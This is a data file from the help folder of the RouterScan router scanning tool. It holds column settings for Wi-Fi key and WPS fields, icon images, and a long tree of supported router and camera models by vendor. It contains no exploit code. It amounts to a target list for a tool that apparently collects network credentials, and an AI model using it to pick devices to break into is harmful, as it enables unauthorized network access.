ColWidth.SSID=96

ColWidth.Sec=80

ColWidth.Key=96

ColWidth.WPS=60

ColWidth.LANIP=96

ColWidth.LANMask=96

ColWidth.WANIP=96

ColWidth.WANMask=96

ColWidth.WANGate=96

ColWidth.DNS=240

ColWidth.Lat=116

ColWidth.Long=116

ColWidth.Comment=400









RouterScan2.47汉化版/help/data/routers.js

imgWorldwide = "data:image/gif;base64,R0lGODlhEAAQAMQQAP///8zMzJmZmTPMMwDMAACZ/wCZMwCZAABm/wBmAAAzzAAzAAAA/wAAzAAAmQAAM////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABAALAAAAAAQABAAAAWOICRCQSkIQzmuARAMA0EkjrKSQHwYCc0wi5HgNTMUEAiFotEIAnKH3VFJODh6JUChcEAUFIeF4foaFgzIacNRgxEWqIDxu4S5wwbX4KD8EYhVcDkyCT8MD3dhKTEyfEAyVQdDjIRLTA9RCQEQbjILTEwODwsJI3sHD6ANCQdNNwafoWwPNjckAg+5D0MrIQA7";

imgMfc_AnyData = "data:image/png;base64,";

imgMfc_ASUS = "data:image/png;base64,";

imgMfc_Cisco = "data:image/gif;base64,R0lGODlhEAAQAKIGAMx/f7tUVPDZ2dyoqC9mgZkAAP///wAAACH5BAEAAAYALAAAAAAQABAAAAM2aLrc/pA0GeeT2GSq+/bgJ1oMB53GUKhpEbSCOhiFIdQF0O7FbdcGwKrG6slqgRVMhmo6n4sEADs";

imgMfc_DLink = "data:image/ico;base64,AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAAAAAABILAAASCwAAEAAAAAAAAADwyqYAqj8qAKp/KgD/fyoA/59VAP+ffwD/v38A8Pv/AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEREREREREREXiId4h4MREROIiDCIiDERE3iIMQeIgxETiIgxOIiDEROIiDETiIghE3iIMREIiIETiIgxETiIgROIiDERCIiBE4iIMROIiFETiIgxOIiIEROIiDEIiIMRE4iINoiIMREXiIiIiIMRERREREREIREREREREREREREAAHIAAABQAAAAbwAAAGkAAABlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

imgMfc_EDIMAX = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA1ElEQVR4nKXTMUoEQRQE0Lf2fNBIAxMxNljNPIYYKSJ4BU9hLngYwcgjGJhtIiKiiQdQpKHXwIl2emd058OPqqu6iupm5EwiYg9rqwo0OMINJqs6aPCIg55zT3ipCkBEHOO2R+AV05zz5yKQIKX0jHNsLxHYxFZK6a6U0hUopZSU0gfOelwc4r6U8taJ0MZY95t19z9RFusbqvMb82WEU+z0kDMucs5fHYG2yquB26/xUEUi4iQi5j07i4iNGvevD2mG9xrQ4BL7A/an7VYdjPpMo+cHzfw1YjsqfxUAAAAASUVORK5CYII";

imgMfc_Huawei = "data:image/png;base64,";

imgMfc_Intercross = "data:image/png;base64,";

imgMfc_LevelOne = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABK0lEQVR4nK3SO0pDURDG8d9N4qMR4wtfJEFwDzap7G0E95MVaGuh2BlQcBPuwUYbMWDwQRJJUMHkWtyj5mGiiB8cDsPMnDPzn4koFXCOHG6wg9NeOw521O+X8qPamMRUsDs93szo5BgFbGIal7jANaLPB5ooYwH3uMUuZlBnvcLaHrJs1IhvaZWpz9PuRJRWcRJ6qmAbVUpDKrJE44yjFepxJlSRCyeF9A9Q0lTyvKzyK4jdaoT7Cs+IBhg84BWLlMbwFri0k5bKyLSoHZOaQycjmVHR19xz2EdewmQL1eTnqiQ+KmIFAwxgHMsJLO1eJlFgII+/MBjUd3tw18ek1ZfTwjGGMih32ZXg79ZH/FAGE0bvxf8zeMIhZvEomdVB6LEmYdStZvBnEb8DYLZWidSvqNgAAAAASUVORK5CYII";

imgMfc_NETGEAR = "data:image/png;base64,";

imgMfc_Tenda = "data:image/png;base64,";

imgMfc_Thomson = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABIklEQVR4nL3TMUgCURzH8e+J4AMhCG4RDm26IcQpHMoWIWzM2hoiggaxoLnlaGq9JYp0vi2dW5yaDmm4wcitcJS2gxcc2GB35L0uUKHf/P9/3v/9eU9r94MJSyS1TPNCgJA+QvqLA9tHW+zuGBEyH/AZAODnCkgtA4DW7gcTIX3ynVZU91HcZFwq/4mQSQOQBsh3WqzfXkU1o2o9GfhuDJMCeN8/5enmEYBBw6J/ef9rr+nYmI6tAlJkGZfK+LkCK6+ecgpMt/9zyhkgzNveMUavi+65SmHx+pxw2kRgeHAGQKVZw3RshPTRPZcN6wSj12XQsJAiOwNo8aesey6VZk2ZYFStT3cTu54ChMjawx2rL8/R1YaHFwqaCMyT//9M8XwBSFle/i92Dv4AAAAASUVORK5CYII";

imgMfc_TPLINK = "data:image/png;base64,";

imgMfc_TRENDnet = "data:image/jpeg;base64,";

imgMfc_Upvel = "data:image/png;base64,";

imgMfc_ZTE = "data:image/png;base64,";

imgMfc_ZyXEL = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAARVBMVEX7/fz9/fUVNo4TLYoNNJMMNIv1/PT09vQTOZPz+vwFMoqmtdcFNYYLK4MbNYQLKopIWpgULIcYM5QEK30LM4OJn8iNnckZ80UEAAAACXBIWXMAAABIAAAASABGyWs+AAAAVUlEQVQY042OyxaAIAhEIe2dmfb4/08NWThUm+5uLgMHoh9wU3FeTQs8ep0KrrkvcTCHdD7i7iTRzZgvQcRq+lHyxs/9hP1c8o5+MH+pON7ivADTlxsyRQNKQLozigAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxNC0wMS0xNVQwMDowOTowOSswNDowMOoqo4wAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTQtMDEtMTVUMDA6MDk6MDkrMDQ6MDCbdxswAAAAAElFTkSuQmCC";

imgMfc_DDWRT = "data:image/png;base64,";

imgMfc_Cmotech = "data:image/png;base64,";

imgMfc_Conel = "data:image/png;base64,";

imgMfc_AirTies = "data:image/png;base64,";

imgMfc_Tomato = "data:image/png;base64,";

imgMfc_DrayTek = "data:image/png;base64,";

imgMfc_Motorola = "data:image/png;base64,";

imgMfc_Netis = "data:image/png;base64,";

imgMfc_Pozitron = "data:image/png;base64,";

imgMfc_SerComm = "data:image/png;base64,";

imgMfc_MikroTik = "data:image/png;base64,";

imgMfc_AirOS = "data:image/png;base64,";

imgMfc_Realtek = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAiElEQVR4Xq2TAQqAMBRCO9qO1tG8mUEID5I/IhIkMuefjR0/wGee6+Ye+FhrR1SEFwOtBDkB4fsAQwSXMbU62AyMwVQJYggJb3+LdKX37OtuJ++wPAXSRX++RdMwvfthbG04mqLhVA1hIVohO6gA1uynB/MOOkAYKkDlScB6CGj7f8RJfbqNwQUB8Pg6axpt+gAAAABJRU5ErkJggg";

imgMfc_Broadcom = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAyElEQVR4nO3QsUqCYRjF8d8XUlNUNLwgyDsEWWQ41RiB4CJNXUMFbW6CN9EduDroBdglFF5Bk001vA1hUxANfUGDn1KrneXh8Bz+D+fhX1nRIoUY0Mc9OtvPk49ZuZU58CpOcYatotA8wE4+N/4KOMQb1hF/BUghZqjhDq84WAhIIe6lEMu5XUUZYzxi90eumkKsfPsshdhFHSeY4gYv6OHc1xOPcYVLtPJqI0xKOMI7rvNLbaxhgFs8oYEhHnCBfTSxWVRtmfQJfVUjc3R27nkAAAAASUVORK5CYII";

imgMfc_Ralink = "data:image/png;base64,";

imgMfc_Gigabyte = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA5UlEQVR4nMWSwW0CMRBFn1EKoAS4c2A1LgA6gA5CBdlUEDqAdLAl0AEU4JE4cMgNOsAXzpsDAYbRiiQQKV/yYb78rO9vw38r2EEkDYAXYAC0mwDVeMU8GXgGlL9N0HoEBggiqQNsnf+qGuc/TTC6F4ZjB76syg4iaW/2ZKBQjTub4DtZeGjhU4LsgBKYOi9XH8+5d9jMnP/eAhbOfBNJ9kUyMOwdNh2O/+O0dgEWAUAkLb/MJhWqcV1DbbwqwAQuHYwbrgIwUY1r553h8wGqMQNdYOXg6hbcKJHUF0l979fgC/wbfQKlYEVVfvc0/gAAAABJRU5ErkJggg";

imgMfc_Belkin = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAA+UlEQVQ4jaWTMW7CQBBF/yDquQBTgETjvYD3ACQXgD7yHgB8mwj6KBQkZ0CCwjRISREoLNnFnmAv4FS7wpItDJ5qtKP5M/NmlqqqQh8b9MoGMPTOdDzp1IqI4H2zRqQUAQD5EboKeJH98UBAywix1sjLgvKyoP3xgGW6qsWttcG/y0BEaJmm1BYfNj0653DKsspX+9591eKJMcF/iIGI4M0kSIwJHT20Ruccrn8XWGtDscYOmBmRUiHxlGU1IWbG+feHgBYGkVL42H7WwN0W8Ixiran3JXYS8Bu5tZEIgCcvEQDysmhn0GTMjFhrzF5fMF8sAh/q+53/AUPhXNMI62VaAAAAAElFTkSuQmCC";

imgMfc_Globespan = "data:image/png;base64,";

imgMfc_Seowon = "data:image/png;base64,";

imgMfc_Atron = "data:image/png;base64,";

imgMfc_VertexWireless = "data:image/png;base64,";



Tree = [

	[1, 1, imgLogo, "Supported routers", [

		[1, 0, imgMfc_AirTies, "AirTies", [

			[0, 1, "AIR-4240"],

			[0, 1, "AIR-4340"],

			[0, 1, "AIR-4450"],

			[0, 1, "AIR-5340"],

			[0, 1, "AIR-5340"],

			[0, 1, "AIR-5341"],

			[0, 1, "AIR-5343"],

			[0, 1, "AIR-5440"],

			[0, 1, "AIR-5443"],

			[0, 1, "AIR-5450v2"],

			[0, 1, "AIR-5453"],

			[0, 1, "RT-204v3"],

			[0, 1, "RT-206"],

			[0, 1, "RT-206v4"],

			[0, 1, "RT-212"],

		]],

		[1, 0, imgMfc_AnyData, "AnyData", [

			[0, 1, "AWR-500A"],

		]],

		[1, 0, imgUnknown, "AnyGate", [

			[0, 1, "XM-3300N"],

		]],

		[1, 0, imgMfc_ASUS, "ASUS", [

			[2, imgMfc_ASUS, "HG (Universal)"],

			[2, imgMfc_ASUS, "Blue (Universal)"],

			[2, imgMfc_ASUS, "Black (Universal)"],

			[0, 1, "AX-112W"],

			[0, 0, "AX-145"],

			[0, 1, "DSL-N10"],

			[0, 1, "DSL-N12U"],

			[0, 1, "DSL-N55U (Black)"],

			[0, 1, "RT-AC56U (Blue/Black)"],

			[0, 1, "RT-AC66U (Blue/Black)"],

			[0, 1, "RT-AC68U (Blue/Black)"],

			[0, 1, "RT-G32"],

			[0, 1, "RT-G32 Rev.C1"],

			[0, 1, "RT-N10"],

			[0, 1, "RT-N10 Rev.C1"],

			[0, 1, "RT-N10+"],

			[0, 1, "RT-N10E"],

			[0, 1, "RT-N10LX"],

			[0, 1, "RT-N10P (Black)"],

			[0, 1, "RT-N10U (Blue/Black/HG)"],

			[0, 1, "RT-N11 (HG)"],

			[0, 1, "RT-N12 (Blue/Black/HG)"],

			[0, 1, "RT-N12 Rev.B1 (Blue/Black/HG)"],

			[0, 1, "RT-N12 Rev.C1 (Blue/Black)"],

			[0, 1, "RT-N12 Rev.D1 (Black)"],

			[0, 1, "RT-N12E"],

			[0, 1, "RT-N12LX"],

			[0, 1, "RT-N12VP (Black)"],

			[0, 1, "RT-N13"],

			[0, 1, "RT-N13U"],

			[0, 1, "RT-N13U Rev.B1"],

			[0, 1, "RT-N14U (Black/Grey)"],

			[0, 1, "RT-N15"],

			[0, 1, "RT-N15U (Blue/Black/HG)"],

			[0, 1, "RT-N16 (Blue/Black/HG)"],

			[0, 1, "RT-N53 (Blue/Black)"],

			[0, 1, "RT-N56U (Blue/Black/Grey)"],

			[0, 1, "RT-N65U (Black)"],

			[0, 1, "RT-N66U (Blue/Black)"],

			[0, 0, "RX3041 (D-Link firmware)"],

			[0, 0, "RX3041 Rev.B"],

			[0, 0, "RX3041 V2"],

			[0, 0, "RX3042H"],

			[0, 1, "U2C 300M (Black) - rebranded"],

			[0, 1, "WL-320gP (HG)"],

			[0, 1, "WL-330gE (HG)"],

			[0, 1, "WL-330N3G"],

			[0, 1, "WL-500W (HG)"],

			[0, 1, "WL-500g Premium (HG)"],

			[0, 1, "WL-500gP (HG)"],

			[0, 1, "WL-500gP V2 (Blue/HG)"],

			[0, 1, "WL-520g (HG)"],

			[0, 1, "WL-520gC (HG)"],

			[0, 1, "WL-520gU (Blue/HG)"],

			[0, 1, "WL-530gV2 (HG)"],

			[0, 1, "WL-550gE (HG)"],

			[0, 1, "WL-AM604g (HG)"],

		]],

		[1, 0, imgMfc_Belkin, "Belkin", [

			[0, 1, "F7D3402 v1"],

		]],

		[1, 0, imgMfc_Cmotech, "C-motech", [

			[0, 0, "CNU-550pro"],

			[0, 0, "CNU-680pro"],

		]],

		[1, 0, imgMfc_Cisco, "Cisco", [

			[4, imgMfc_Cisco, "Cisco SPA (Universal)"],

			[2, imgMfc_Cisco, "Linksys (Universal)"],

			[4, 1, "Aironet AIR-AP1231G-E-K9"],

			[4, 1, "Aironet AIR-LAP1231G-E-K9"],

			[0, 1, "EPC2325"],

			[0, 1, "Linksys E900"],

			[0, 1, "Linksys EA4500"],

			[0, 1, "Linksys WRT54G"],

			[0, 1, "Linksys WRT54GC"],

			[0, 1, "Linksys WRT54GL"],

			[0, 0, "SPA112 (VoIP)"],

			[0, 1, "WAP2000"],

		]],

		[1, 0, imgMfc_Conel, "Conel", [

			[0, 0, "ER75i"],

		]],

		[1, 0, imgMfc_DLink, "D-Link", [

			[1, 0, imgMfc_DLink, "D-Link v2 (Universal)", [

				[0, 1, "Beeline D150L"],

				[0, 1, "DIR-300 (Black/Beeline)"],

				[0, 1, "DIR-300BEE"],

				[0, 1, "DIR-300BEEB5"],

				[0, 1, "DIR-300NRU rev.B5"],

				[0, 1, "DIR-300NRU rev.B6"],

				[0, 1, "DIR-300NRU rev.B7"],

				[0, 1, "DIR-300NRUB5"],

				[0, 1, "DIR-320NRU"],

				[0, 1, "DIR-615"],

				[0, 1, "DIR-620"],

				[0, 0, "DSL-2500U"],

				[0, 1, "DSL-2600U"],

				[0, 1, "DSL-2640NRU"],

				[0, 1, "DSL-2640NRU-SZT-Arch"],

				[0, 1, "DSL-2640NRU-SZV"],

				[0, 1, "DSL-2640U"],

				[0, 1, "DSL-2650NRU"],

				[0, 1, "DSL-2740NRU"],

				[0, 1, "DSL-2740U"],

				[0, 1, "DSL-2750U"],

			]],

			[0, 1, "DAP-1155"],

			[0, 1, "DAP-1353"],

			[0, 1, "DAP-1360"],

			[0, 0, "DCS-2103"],

			[0, 1, "DCS-2121"],

			[0, 1, "DCS-2130"],

			[0, 1, "DCS-2132L"],

			[0, 1, "DCS-2230"],

			[0, 0, "DCS-6817"],

			[0, 0, "DCS-910"],

			[0, 1, "DCS-930"],

			[0, 1, "DCS-930L"],

			[0, 1, "DCS-932L"],

			[0, 1, "DCS-933L"],

			[0, 1, "DCS-942L"],

			[0, 1, "DI-524"],

			[0, 0, "DI-604"],

			[2, 1, "DI-624"],

			[0, 0, "DI-704P"],

			[0, 0, "DI-707P"],

			[0, 0, "DI-804HV"],

			[0, 0, "DI-808HV"],

			[2, 1, "DI-824VUP"],

			[2, 1, "DI-824VUP+"],

			[0, 0, "DIR-100"],

			[0, 0, "DIR-130"],

			[0, 1, "DIR-300 (Orange)"],

			[0, 1, "DIR-320 (Orange/ASUS HG/Entware HG)"],

			[0, 1, "DIR-320 WiMAX (ASUS HG)"],

			[0, 1, "DIR-330"],

			[0, 1, "DIR-400"],

			[0, 1, "DIR-615 (Orange)"],

			[4, 1, "DIR-620"],

			[4, 1, "DIR-655 v2.00"],

			[0, 1, "DIR-825"],

			[0, 1, "DIR-826L"],

			[0, 1, "DIR-857"],

			[0, 1, "DSL-2640B"],

			[0, 1, "DSL-2740R"],

			[0, 0, "DSL-320B"],

			[0, 0, "DSR-150"],

			[0, 1, "DSR-150N"],

			[0, 0, "DSR-250"],

			[0, 1, "DSR-250N"],

			[0, 0, "DSR-500"],

			[0, 1, "DSR-500N"],

			[0, 0, "DSR-1000"],

			[0, 1, "DSR-1000N"],

		]],

		[1, 0, imgMfc_DrayTek, "DrayTek", [

			[4, imgMfc_DrayTek, "Vigor (Universal)"],

			[0, 0, "Vigor2110"],

			[4, 1, "Vigor2910VG"],

			[4, 1, "Vigor2920Vn"],

			[0, 1, "VigorFly 200"],

		]],

		[1, 0, imgMfc_EDIMAX, "EDIMAX", [

			[0, 1, "BR6428N"],

			[0, 1, "BR6428NS"],

			[0, 1, "Firmware 1.06"],

			[0, 1, "Firmware 1.02 (BR6228GN)"],

			[0, 1, "Firmware 1.13 (BR6228GNS)"],

			[0, 1, "Firmware 1.10 (BR6425N)"],

			[0, 1, "Firmware 1.21 (BR6425N)"],

			[0, 1, "Firmware 1.51"],

			[0, 1, "Firmware 1.57"],

			[0, 1, "Firmware 2.52"],

			[0, 1, "Firmware 2.89"],

			[0, 0, "Firmware CLI v2.0 p50"],

			[0, 1, "Intellinet - rebranded"],

		]],

		[1, 0, imgMfc_Gigabyte, "Gigabyte", [

			[0, 1, "GN-BR02G"],

			[0, 1, "GN-BR404W"],

		]],

		[1, 0, imgMfc_Globespan, "GlobespanVirata", [

			[0, 0, "Viking GS8100"],

		]],

		[1, 0, imgMfc_Huawei, "Huawei", [

			[0, 1, "EchoLife HG231f"],

			[0, 1, "EchoLife HG521"],

			[0, 1, "EchoLife HG532c"],

			[0, 1, "EchoLife HG532e"],

			[0, 1, "EchoLife BM622"],

			[0, 1, "EchoLife BM625"],

			[0, 1, "EchoLife BM626"],

			[0, 1, "EchoLife BM631a"],

			[0, 1, "EchoLife BM632"],

			[0, 1, "EchoLife BM632w"],

			[0, 1, "EchoLife BM655"],

			[0, 0, "SmartAX MT880"],

		]],

		[1, 0, imgMfc_Intercross, "Intercross", [

			[0, 0, "1P"],

			[0, 0, "4P"],

			[2, 1, "4PW"],

		]],

		[1, 0, imgMfc_LevelOne, "LevelOne", [

			[2, 1, "SC1BA85A"],

			[0, 1, "WBR-6002"],

		]],

		[1, 0, imgMfc_Motorola, "Motorola Mobility", [

			[0, 1, "VAP2400"],

		]],

		[1, 0, imgMfc_NETGEAR, "NETGEAR", [

			[0, 1, "DG834G"],

			[0, 1, "DGN1000"],

			[0, 1, "DGN2000"],

			[0, 1, "DGN2200"],

			[0, 1, "DGN2200v3"],

			[0, 1, "JDGN1000"],

			[0, 1, "JWNR2000"],

			[0, 1, "JWNR2000v2"],

			[0, 0, "RP614v4"],

			[0, 1, "WG602v4"],

			[0, 1, "WGR612"],

			[0, 1, "WGR614v6"],

			[0, 1, "WGR614v7"],

			[0, 1, "WGR614v9"],

			[0, 1, "WGT624"],

			[0, 1, "WNDAP350"],

			[0, 1, "WNDR3600"],

			[0, 1, "WNDR3800"],

			[0, 1, "WNDR4000"],

			[0, 1, "WNR1000v2"],

			[0, 1, "WNR1000v3"],

			[0, 1, "WNR2200"],

			[0, 1, "WNR3500L (Default/ASUS HG)"],

			[0, 1, "WNR3500Lv1 (Entware HG)"],

			[0, 1, "WNR3500Lv2 (Entware HG)"],

			[0, 1, "WNR612v2"],

			[0, 1, "XWN5001"],

		]],

		[1, 0, imgMfc_Netis, "Netis", [

			[0, 1, "WF2412"],

			[0, 1, "WF2419"],

		]],

		[1, 0, imgUnknown, "NeoPort", [

			[0, 1, "Cell Router"],

			[0, 1, "PORT-5E"],

		]],

		[1, 0, imgUnknown, "PacketFront", [

			[0, 1, "DRG600 Wi-Fi"],

		]],

		[1, 0, imgMfc_Pozitron, "Pozitron", [

			[0, 1, "diSIM"],

		]],

		[1, 0, imgMfc_Seowon, "Seowon Intech", [

			[2, imgMfc_Seowon, "Seowon Intech (Universal)"],

			[0, 0, "SWC-3200"],

			[0, 0, "SWC-7100"],

			[0, 1, "SWC-9000"],

			[0, 1, "SWC-9100"],

			[0, 1, "SWC-9200"],

		]],

		[1, 0, imgMfc_SerComm, "SerComm", [

			[0, 1, "Beeline Smart Box S1000"],

		]],

		[1, 0, imgMfc_Tenda, "Tenda", [

			[0, 1, "11N"],

			[0, 1, "3G 11N"],

			[0, 1, "ADSL2/2+"],

			[0, 1, "Beeline 11N"],

			[0, 1, "Wireless-N Router"],

		]],

		[1, 0, imgMfc_Thomson, "Thomson", [

			[0, 1, "Firmware ST5D.06.03"],

			[0, 1, "Firmware ST5D.10.02"],

			[0, 1, "Firmware ST5D.10.05"],

			[0, 1, "Firmware STA3.66.05"],

			[0, 1, "Firmware STB1.53.11"],

			[0, 1, "Firmware STB6.01.40"],

			[0, 1, "Firmware STB6.01.60"],

			[0, 1, "Firmware STB6.07.02"],

			[0, 1, "Firmware STB6.07.03"],

			[0, 1, "Firmware STB6.07.03.T4"],

			[0, 1, "Firmware STB6.07.04"],

			[0, 1, "Firmware STCE.01.02 (Technicolor)"],

		]],

		[1, 0, imgMfc_TPLINK, "TP-LINK", [

			[0, 1, "Canyon CNP-WF514N1A - rebranded"],

			[0, 1, "MSI RG60SE - rebranded"],

			[0, 1, "SMC SMCWBR14S-N5 - rebranded"],

			[0, 1, "TD-854W"],

			[0, 0, "TD-8840T"],

			[0, 1, "TD-VG3631"],

			[0, 1, "TD-W8968"],

			[0, 1, "TL-MR3220"],

			[0, 1, "TL-MR3420"],

			[0, 0, "TL-R460"],

			[0, 0, "TL-R470T+"],

			[0, 0, "TL-R480T+"],

			[0, 0, "TL-R600VPN"],

			[0, 0, "TL-R860"],

			[0, 1, "TL-WA501G"],

			[0, 1, "TL-WA5110G"],

			[0, 1, "TL-WA5210G"],

			[0, 1, "TL-WA701ND"],

			[0, 1, "TL-WA801N"],

			[0, 1, "TL-WA830RE"],

			[0, 1, "TL-WA901N"],

			[0, 1, "TL-WDR3500"],

			[0, 1, "TL-WDR3600"],

			[0, 1, "TL-WDR4300"],

			[0, 1, "TL-WR1042ND"],

			[0, 1, "TL-WR1043N"],

			[0, 1, "TL-WR1043ND"],

			[0, 1, "TL-WR2543ND"],

			[0, 1, "TL-WR340G"],

			[0, 1, "TL-WR541G/542G"],

			[0, 1, "TL-WR543G"],

			[0, 1, "TL-WR641G/642G"],

			[0, 1, "TL-WR702N"],

			[0, 1, "TL-WR720N"],

			[0, 1, "TL-WR740N"],

			[0, 1, "TL-WR741N"],

			[0, 1, "TL-WR741ND"],

			[0, 1, "TL-WR743ND"],

			[0, 1, "TL-WR840N"],

			[0, 1, "TL-WR841HP"],

			[0, 1, "TL-WR841N"],

			[0, 1, "TL-WR842ND"],

			[0, 1, "TL-WR843ND"],

			[0, 1, "TL-WR940N"],

			[0, 1, "TL-WR941N"],

			[0, 1, "TL-WR941ND"],

		]],

		[1, 0, imgMfc_TRENDnet, "TRENDnet", [

			[0, 1, "Beeline Router"],

			[0, 1, "TEW-452BRP"],

			[0, 1, "TEW-634GRU"],

			[0, 1, "TEW-650AP"],

			[0, 1, "TEW-651BR"],

			[0, 1, "TEW-652BRP"],

			[0, 1, "TEW-673GRU"],

			[0, 1, "TEW-691GR"],

			[0, 1, "TEW-692GR"],

			[0, 1, "TEW-731BR"],

			[0, 0, "TV-IP301"],

			[0, 1, "TV-IP551WI"],

			[0, 0, "TW100-S4W1CA"],

		]],

		[1, 0, imgMfc_Upvel, "Upvel", [

			[0, 1, "Totolink N150RT - rebranded"],

			[0, 0, "UR-305B"],

			[0, 1, "UR-309BN"],

			[0, 1, "UR-312N4G"],

			[0, 1, "UR-313N4G"],

			[0, 1, "UR-315BN (Default/Onlime)"],

			[0, 1, "UR-316N3G"],

			[0, 1, "UR-319BN (Default/Onlime)"],

			[0, 1, "UR-322N4G"],

			[0, 1, "UR-325BN"],

			[0, 1, "UR-326N4G"],

			[0, 1, "UR-337N4G"],

		]],

		[1, 0, imgMfc_VertexWireless, "Vertex Wireless", [

			[0, 1, "VW200"],

		]],

		[1, 0, imgMfc_ZTE, "ZTE", [

			[0, 0, "F412"],

			[0, 1, "F460"],

			[0, 0, "F620"],

			[0, 1, "F660"],

			[0, 1, "ZXV10 H108L"],

			[0, 1, "ZXV10 W300"],

		]],

		[1, 0, imgMfc_ZyXEL, "ZyXEL", [

			[1, 0, imgMfc_ZyXEL, "NDMSv1 (Universal)", [

				[0, 1, "ZyXEL KEENETIC"],

				[0, 1, "ZyXEL KEENETIC II"],

				[0, 1, "ZyXEL KEENETIC 4G"],

				[0, 1, "ZyXEL KEENETIC LITE"],

				[0, 1, "ZyXEL KEENETIC LITE II"],

				[0, 1, "ZyXEL KEENETIC GIGA"],

				[0, 1, "ZyXEL KEENETIC GIGA II"],

				[0, 1, "ZyXEL KEENETIC ULTRA"],

				[0, 1, "ZyXEL KEENETIC OMNI"],

				[0, 1, "ZyXEL KEENETIC START"],

				[0, 1, "Beeline N150L"],

				[0, 1, "ROSTELECOM RT-V4L1USBn"],

				[0, 1, "ROSTELECOM FREEPORT"],

				[0, 1, "DOMOLINK FREEPORT"],

			]],

			[1, 0, imgMfc_ZyXEL, "NDMSv2 (Universal)", [

				[0, 1, "ZyXEL Keenetic"],

				[0, 1, "ZyXEL Keenetic II"],

				[0, 1, "ZyXEL Keenetic 4G"],

				[0, 1, "ZyXEL Keenetic 4G II"],

				[0, 1, "ZyXEL Keenetic Lite"],

				[0, 1, "ZyXEL Keenetic Lite II"],

				[0, 1, "ZyXEL Keenetic Giga"],

				[0, 1, "ZyXEL Keenetic Giga II"],

				[0, 1, "ZyXEL Keenetic Ultra"],

				[0, 1, "ZyXEL Keenetic Omni"],

				[0, 1, "ZyXEL Keenetic Start"],

				[0, 1, "Rostelecom 1W4L1USBn"],

			]],

			[1, 0, imgMfc_ZyXEL, "ZyWALL Series", [

				[0, 0, "2 Plus"],

				[0, 1, "NBG334W EE"],

				[0, 0, "OMNI ADSL LAN EE(Annex A)"],

				[0, 1, "P-2602H-D1A"],

				[0, 1, "P-2602HWL-D1A"],

				[0, 1, "P-2608HWL-D1"],

				[0, 1, "P-660HW-D1"],

				[0, 1, "P-660HW-T1 v2"],

				[0, 1, "P-660HWP-D1"],

				[0, 0, "P-660RU-T1 v2"],

				[0, 1, "P-662HW-D1"],

				[0, 0, "P-791R v2"],

				[0, 0, "P-792H v2"],

				[0, 1, "P660HN EE"],

				[0, 1, "P660HN Lite EE"],

				[0, 0, "P660HT2"],

				[0, 0, "P660HT3 EE"],

				[0, 1, "P660HTN EE"],

				[0, 1, "P660HTW2"],

				[0, 0, "P660RT2"],

				[0, 0, "P660RU2"],

				[0, 0, "Prestige 660H-61"],

				[0, 0, "Prestige 660HW-T1"],

				[0, 0, "Prestige 660R-T1"],

				[0, 0, "Prestige 660RU-T1"],

				[0, 0, "Prestige 660RU-T3/T7"],

				[0, 0, "Prestige 791R"],

			]],

			[1, 0, imgMfc_ZyXEL, "Home Router", [

				[0, 1, "NBG-416N N-lite"],

				[0, 1, "NBG-418N N"],

			]],

			[0, 1, "P-330W EE"],

		]],

		[1, 0, imgMfc_Atron, "Ð�Ñ‚Ñ€Ð¾Ð½", [

			[0, 1, "RFT620"],

		]],

		[1, 0, imgWorldwide, "Other/Various", [

			[1, 0, imgMfc_DLink, "Alpha Networks (D-Link firmware)", [

				[0, 1, "D-Link DI-524UP"],

				[0, 0, "D-Link DI-604UP"],

				[0, 0, "D-Link DI-604+"],

				[0, 1, "D-Link DI-624S"],

				[0, 1, "D-Link T-Mobile TM-G5240"],

				[0, 0, "Planex BRL-04CW"],

				[0, 0, "Planex BRL-04CW-U"],

				[0, 0, "Planex BRL-04R"],

				[0, 0, "Planex BRL-04UR"],

			]],

			[1, 0, imgMfc_Ralink, "Boa ADSL (Ralink firmware)", [

				[0, 1, "Edimax ADSL Router"],

				[0, 1, "QTECH QBR-2041WW"],

				[0, 1, "Rostelecom RT-A1W4L1USBn"],

				[0, 1, "Upvel UR-314AN"],

				[0, 1, "Upvel UR-344AN"],

				[0, 1, "Upvel UR-344AN4G"],

				[0, 1, "Upvel UR-344AN4G+"],

				[0, 1, "Upvel UR-354AN4G"],

			]],

			[1, 0, imgWorldwide, "Boa IP Camera", [

				[0, 1, "ABUS Security-Center TVIP10550"],

				[0, 0, "Airlive OD-300CAM"],

				[0, 1, "Beward N13103"],

				[0, 0, "Beward N6601"],

				[0, 0, "Intellinet NFC30"],

				[0, 0, "Intellinet NFC30-IR"],

				[0, 0, "Intellinet NFC31"],

				[0, 0, "TP-LINK TL-SC2020"],

				[0, 0, "TP-LINK TL-SC3130"],

				[0, 1, "TP-LINK TL-SC3130G"],

				[0, 0, "TP-LINK TL-SC3171"],

				[0, 1, "TP-LINK TL-SC3171G"],

				[0, 0, "Zavio B5110"],

				[0, 0, "Zavio F7110"],

			]],

			[1, 0, imgMfc_DDWRT, "DD-WRT", [

				[0, 1, "ASUS RT-N10+"],

				[0, 1, "ASUS RT-N10+ Rev.D1"],

				[0, 1, "ASUS RT-N16"],

				[0, 1, "ASUS RT-N12"],

				[0, 1, "ASUS RT-N12C1"],

				[0, 1, "ASUS RT-N13U"],

				[0, 1, "ASUS RT-N13U B1"],

				[0, 1, "ASUS RT-N66U"],

				[0, 1, "ASUS WL-500G Premium V2"],

				[0, 1, "ASUS WL-520GU/GC"],

				[0, 1, "Buffalo WHR-G300N"],

